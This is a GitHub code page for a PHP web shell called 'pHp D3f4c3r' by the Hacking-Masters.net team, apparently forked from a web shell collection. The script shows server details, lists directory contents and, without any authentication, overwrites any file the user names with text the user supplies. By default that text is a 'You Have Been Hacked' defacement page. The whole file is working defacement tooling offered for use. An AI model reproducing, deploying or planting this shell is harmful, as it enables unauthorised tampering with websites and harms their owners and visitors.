forked from pascal-gujer/webshellz
-
Notifications
You must be signed in to change notification settings - Fork 0
/
PHP_Defacer.php
128 lines (113 loc) · 2.77 KB
/
PHP_Defacer.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
<title>pHp D3f4c3r By Hacking-Masters.net Team [Dar3c01l]</title>
<style type="text/css">
<!--
.style1 {
color: #FF0000;
font-weight: bold;
}
.style2 {color: #000000}
-->
</style>
</head>
<body bgcolor='black' text='lime'>
<form method='post' action='Defacer.php'>
<br />
<br />
<table border='1' align='center' bgcolor='#FFFFFF' cellpadding='2' cellspacing='5'>
<tr>
<td align='center'><span class="style1">Defacer 2.0v by Hacking-Masters.net Team! </span></td>
</tr>
<tr>
<td align='center'><?php $ip=getenv("REMOTE_ADDR"); echo "Your IP: ".$ip; ?></td>
</tr>
<tr>
<td align='center'><?php echo "Server IP: ".$_SERVER['SERVER_ADDR']; ?></td>
</tr>
<tr>
<td align='center'>
<?php
echo"Index status: ";
if(file_exists("index.php"))
{
echo "<font color='lime'> index.php was found</font>";
}
if(file_exists("index.html"))
{
echo "<font color='lime'> index.html was found</font>";
}
elseif(!file_exists("index.php") AND !file_exists("index.html"))
{
echo "<font color='red'> file not found</font>";
}
?></td>
</tr>
<tr>
<td align='center'><?php echo "PATH: ".getcwd(); ?></td>
</tr>
<tr>
<td align='center'>
<?php
$mydir=getcwd();
$myhandle=opendir($mydir);
while($nextfile = readdir($myhandle))
echo $nextfile."<br>";
closedir($myhandle);
?></td>
<tr>
<td align='center'><span class="style2">Target File
</span>
<input name='target' type='text' class="style1" value='index.php' size='35' maxlength='50'></td>
</tr>
</tr>
<tr>
<td align='center'><textarea name='code' cols='50' rows='20' class="style2"><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Hacked By Hacking-Masters.Net Defacer v2.0</title>
<style type="text/css">
<!--
.style4 {
font-style: italic;
color: #00FFFF;
font-weight: bold;
}
body {
background-color: #666666;
}
-->
</style>
</head>
<p align="center" class="style4">You Have Been Hacked by Hacking-Masters.net Team<br />
<p><p><p></p>
<p align="center" class="style4">Thank you for using Php D3f4c3r c0d3d By Dar3c01l <br />
<br />
Php Defacer v2 rocks all <p><p><p></p>
<p align="center" class="style4">Visit Hacking-Masters.net Forums <p><p><p></p>
</textarea></td>
</tr>
<tr>
<td align='center'><input type='submit' class="style1" value=' DEFACE '></td>
</tr>
</table>
<div align="center"><br />
Coded by Dar3c01l<br />
Hacking-Masters.net<br />
Version 2.0
<br />
</div>
</form>
</body>
<?php
$target=$_POST["target"];
$code=$_POST["code"];
if($target != "" AND $code != "")
{
$file=fopen($target,"w");
fwrite($file,$code);
fclose($file);
}
else
{
die();
}
?>